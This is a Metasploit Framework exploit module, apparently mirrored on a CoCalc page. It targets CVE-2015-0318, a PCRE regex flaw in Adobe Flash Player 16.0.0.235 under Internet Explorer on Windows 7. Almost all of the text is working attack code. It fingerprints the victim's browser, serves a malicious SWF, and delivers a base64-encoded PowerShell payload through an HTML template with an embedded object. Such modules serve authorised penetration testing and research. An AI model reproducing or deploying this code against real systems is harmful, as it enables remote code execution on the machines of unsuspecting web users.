CoCalc -- adobe_flash

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_flash_pcre.rb
¹⁹⁷¹⁹ views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'
10

11
  include Msf::Exploit::Powershell
12
  include Msf::Exploit::Remote::BrowserExploitServer
13

14
  def initialize(info = {})
15
    super(
16
      update_info(
17
        info,
18
        'Name' => "Adobe Flash Player PCRE Regex Vulnerability",
19
        'Description' => %q{
20
          This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error
21
          in the PCRE engine, specifically in the handling of the \c escape sequence when followed by
22
          a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
23
        },
24
        'License' => MSF_LICENSE,
25
        'Author' => [
26
          'Mark Brand', # Found vuln
27
          'sinn3r' # MSF
28
        ],
29
        'References' => [
30
          [ 'CVE', '2015-0318' ],
31
          [ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
32
          [ 'URL', 'http://web.archive.org/web/20160110043607/https://code.google.com/p/google-security-research/issues/detail?id=199' ]
33
        ],
34
        'Payload' => {
35
          'Space' => 1024,
36
          'DisableNops' => true
37
        },
38
        'DefaultOptions' => {
39
          'Retries' => true
40
        },
41
        'Platform' => 'win',
42
        'BrowserRequirements' => {
43
          :source => /script|headers/i,
44
          :activex => [
45
            {
46
              clsid: "{#{CLASSID}}",
47
              method: "LoadMovie"
48
            }
49
          ],
50
          :os_name => OperatingSystems::Match::WINDOWS_7,
51
          :ua_name => Msf::HttpClients::IE,
52
          # Ohter versions are vulnerable but .235 is the one that works for me pretty well
53
          # So we're gonna limit to this one for now. More validation needed in the future.
54
          :flash => lambda { |ver| ver == '16.0.0.235' }
55
        },
56
        'Targets' => [
57
          [ 'Automatic', {} ]
58
        ],
59
        'Privileged' => false,
60
        'DisclosureDate' => '2014-11-25',
61
        'DefaultTarget' => 0,
62
        'Notes' => {
63
          'Reliability' => UNKNOWN_RELIABILITY,
64
          'Stability' => UNKNOWN_STABILITY,
65
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
66
        }
67
      )
68
    )
69
  end
70

71
  def exploit
72
    # Please see data/exploits/CVE-2015-0318/ for source,
73
    # that's where the actual exploit is
74
    @swf = create_swf
75
    super
76
  end
77

78
  def on_request_exploit(cli, request, target_info)
79
    print_status("Request: #{request.uri}")
80

81
    if request.uri =~ /\.swf$/
82
      print_status("Sending SWF...")
83
      send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash', 'Pragma' => 'no-cache' })
84
      return
85
    end
86

87
    print_status("Sending HTML...")
88
    tag = retrieve_tag(cli, request)
89
    profile = browser_profile[tag]
90
    profile[:tried] = false unless profile.nil? # to allow request the swf
91
    send_exploit_html(cli, exploit_template(cli, target_info), { 'Pragma' => 'no-cache' })
92
  end
93

94
  def exploit_template(cli, target_info)
95
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
96
    target_payload = get_payload(cli, target_info)
97
    psh_payload = cmd_psh_payload(target_payload, 'x86', { remove_comspec: true })
98
    b64_payload = Rex::Text.encode_base64(psh_payload)
99

100
    html_template = %Q|<html>
101
    <body>
102
    <object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
103
    <param name="movie" value="<%=swf_random%>" />
104
    <param name="allowScriptAccess" value="always" />
105
    <param name="FlashVars" value="sh=<%=b64_payload%>" />
106
    <param name="Play" value="true" />
107
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
108
    </object>
109
    </body>
110
    </html>
111
    |
112

113
    return html_template, binding()
114
  end
115

116
  def create_swf
117
    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf")
118
    swf = ::File.open(path, 'rb') { |f| swf = f.read }
119

120
    swf
121
  end
122
end
123

124
Product

Resources

Company
